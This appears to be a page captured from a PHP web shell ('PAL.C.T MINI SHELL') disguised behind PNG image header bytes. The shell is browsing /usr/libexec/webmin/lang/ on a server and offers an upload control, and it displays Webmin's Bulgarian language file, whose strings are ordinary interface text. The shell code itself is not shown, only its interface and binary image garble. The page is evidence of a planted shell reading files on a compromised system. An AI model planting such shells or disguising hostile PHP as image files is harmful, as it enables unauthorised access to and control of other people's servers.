php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/lang/
upload
files >> //usr/libexec/webmin/lang/bg.auto

main_title3=Webmin $1 ($2)
main_readonly=(Режим само за четене)
main_unused=Неизползвани модули
main_refreshmods=Обновяване на модули

category_=Инструменти

longcategory_=Модули, които изпълняват други различни задачи

error_previous=предишна страница
error_stack=Проследяване на стека на обажданията
error_file=досие
error_line=линия
error_sub=функция
error_stackline=Във файл $1 в ред $2 извиква се $3
efileclose=Неуспешно записване при $1 при затваряне : $2
efileopen=Неуспешно отваряне $1 за писане : $2
fail=Се провали
euserdbacl=Неуспешно извличане на потребител ACL : $1
euserdbacl2=Неуспешно актуализиране на потребителски ACL : $1
egroupdbacl=Неуспешно извличане на група ACL : $1
egroupdbacl2=Неуспешно актуализиране на групата ACL : $1

chooser_date=Изберете дата
chooser_eopen=Обявата не бе успешна : $1

modules_title1=Изберете Модули ..
modules_title2=Изберете Модул ..
modules_sel=Избрани модули
modules_all=Всички модули
modules_ok=Добре
modules_cancel=Отказ
modules_clear=ясно

config_emodule=Модул не съществува
config_ewebmin=Тип параметър 14 работи само в Webmin

referer_fix1=If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.</li><li>Go to the <b>Webmin Configuration</b> module.</li><li>Click on the Trusted Referrers icon.</li><li>Enter the hostname $1 into the <b>Trusted websites</b> field, and click <b>Save</b></li>.</ul>
referer_fix2=Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Add the line <tt>referers=$1</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>$1</tt> to it.</li><li>Save the file.</li></ul>
referer_fix3u=Уверете се, че вашият браузър е конфигуриран да изпраща информация за реферала, така че да може да бъде проверен от Webmin.
referer_fix2u=Alternately, you can configure Webmin to allow links from unknown referers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.</li><li>Find the line <tt>referers_none=1</tt> and change it to <tt>referers_none=0</tt>.</li><li>Save the file.</li></ul><p></p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!

session_twofactor=Двуфакторно означение
session_twofailed=Двуфакторното удостоверяване не бе успешно : $1

pam_header=Влезте в Webmin
pam_mesg=Трябва да отговорите на въпроса по-долу, за да влезете в сървъра на Webmin на $1.
pam_mesg2=Трябва да отговорите на въпроса по-долу, за да влезете.
pam_login=продължи
pam_restart=Рестартирам

acl_otherdirs=Други видими директории в инструмента за избор на файлове
acl_nodot=Скриване на точкови файлове в инструмента за избор на файлове?
acl_feedback3=Да, с конфигурационни файлове
acl_readonly2=Потребителят е в демо режим?
acl_readonlyyes=Да (някои модули може да не са налични)
acl_negative=Давате ли разрешения за нов модул на потребителя?
acl_fileunix=Преглеждайте файлове като потребител на Unix
acl_sameunix=Същото като вход в Webmin
acl_webminsearch=Показване на полето за търсене в Webmin?

emodulecheck=Модулът $1 не е наличен във вашата система
elock_tries2=Неуспешно заключване на файл $1 след $2 минути. Последната грешка беше : $3

progress_size2=Изтегляне на $1 ($2) ..
progress_datan=Получени $1 ($2 %)
progress_data2n=Получено $1
progress_incache=Намерено $1 в кеша ..

readparse_cdheader=Липсва заглавието на съдържание-разположение
readparse_enc=Очаквайте кодиране на данни за формуляр, но получи нормално кодиране
readparse_max=Данните надвишават максималния размер на $1 байта

password_expired=Вашата парола е изтекла и трябва да бъде избрана нова.
password_temp=Трябва да изберете нова парола, за да замените временното си влизане.
password_header=Изберете Нова парола
password_user=Потребител
password_old=Настояща парола
password_new1=Нова парола
password_new2=Нова парола отново
password_ok=промяна
password_clear=ясно
password_done=Паролата ви е била променена успешно. Вече можете <a href='$1'>да влезете отново</a> с новата парола.
password_err=Промяната на паролата не можа
password_euser=Вашето име за вход не бе намерено във файла с паролата!
password_eold=Текущата парола е неправилна
password_enew1=Не беше въведена нова парола
password_enew2=Новите ви пароли не съвпадат
password_epam=PAM грешка : $1
password_emodpam=Perhen модулът Authen::PAM, необходим за промяна на паролата, не е инсталиран!
password_enewpass=Нова парола не е разрешена : $1

ui_mandatory=Това поле е задължително
ui_checkmandatory=Нищо не е избрано
ui_errors=Открити са множество грешки :
ui_nothing=Нищо не влезе
ui_searchcol=Намерете редове къде
ui_searchfor=Съдържа текста
ui_searchok=Търсене
ui_selall=Маркирай всичко.
ui_selinv=Инвертиране на селекцията.
ui_edate=Невалидна дата
ui_etime=Невалидно време
ui_paging=Показване на редове $1 до $2 от $3
ui_rowlabel=$2 в ред $1 :
ui_filterbox=Въведете за филтриране ..

header_statusmsg=$1 влезете в $2 $3 на $4 ($5)

uptracker_title=Качване на файл
uptracker_file=Име на файл
uptracker_size=размер
uptracker_pc=прогрес
uptracker_eid=Не е посочен идентификационен номер за качване
uptracker_eid2=Идент. № за качване е невалиден!
uptracker_of=$1 от $2

wsearch_title=Търсене $1
wsearch_modt=модул
wsearch_mtitle=Име на модул
wsearch_what=Съответстваща страница
wsearch_type=Тип съвпадение
wsearch_mod=$1
wsearch_config_webmin=Конфигурация на модул Webmin
wsearch_config_usermin=Предпочитания за потребител
wsearch_help=Страница за помощ
wsearch_inmod=В $1
wsearch_text=Текст на потребителския интерфейс
wsearch_esearch=Не беше въведено нищо за търсене.
wsearch_enone=Не са намерени модули или страници на Webmin, съвпадащи $1.
wsearch_on=(От $1)
wsearch_helpfor=Помощ за <i>$1</i>
wsearch_htext=Съвпадащ текст
wsearch_htype=източник
wsearch_hcgis=Препратки
wsearch_type_mod=Име на модул
wsearch_type_config=Конфигурация
wsearch_type_help=Страница за помощ
wsearch_type_text=Потребителски интерфейс
wsearch_type_dir=URL адрес на модул
wsearch_hmod=модул
wsearch_moddir=URL пътека /$1/
wsearch_searching=Търсене на $1. ,
wsearch_found=намерени $1 резултати :

sql_emysqldriver=Неуспешно зареждане на MySQL DBI драйвер
sql_emysqlconnect=Неуспешно свързване с базата данни на MySQL : $1
sql_epostgresqldriver=Неуспешно зареждане на PostgreSQL DBI драйвер
sql_epostgresqlconnect=Неуспешно свързване с база данни PostgreSQL : $1
sql_eldapdriver=Неуспешно зареждане на LDAP perl модул
sql_eldapconnect=Неуспешно свързване с LDAP сървър $1
sql_eldaptls=Неуспешно стартиране на TLS криптиране за LDAP : $1
sql_eldaplogin=Неуспешно влизане в LDAP сървъра като $1 : $2 

log_email_subject=Действие на Webmin в $1
log_email_global=Webmin глобално действие
log_email_desc=Този имейл е изпратен от Webmin в отговор на потребителско действие.
log_email_mod=Модул Webmin: $1
log_email_moddesc=Заглавие на модула: $1
log_email_time=Действие, извършено на: $1
log_email_system=Извършва се в система: $1
log_email_user=Изпълнява се от потребител: $1
log_email_script=Скрипт за Webmin: $1
log_email_session=Идентификационен номер на сесията: $1
log_email_remote=Адрес на клиента: $1

nice_size_PB=PB
nice_size_PiB=ПиБ
nice_size_TB=туберкулоза
nice_size_TiB=TiB
nice_size_GB=GB
nice_size_GiB=GiB
nice_size_MB=MB
nice_size_MiB=MiB
nice_size_kB=КБ
nice_size_kiB=KiB
nice_size_b=байта

langauto_include=Включете машинни преводи

file_truncated_message=извлечен $1 от данни, съкратен $2 от $3 
file_truncated_message_head=извлечено начало $1 от данни, съкратено $2 от $3 
file_truncated_message_tail=извлечен завършващ $1 от данни, съкратен $2 от $3 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`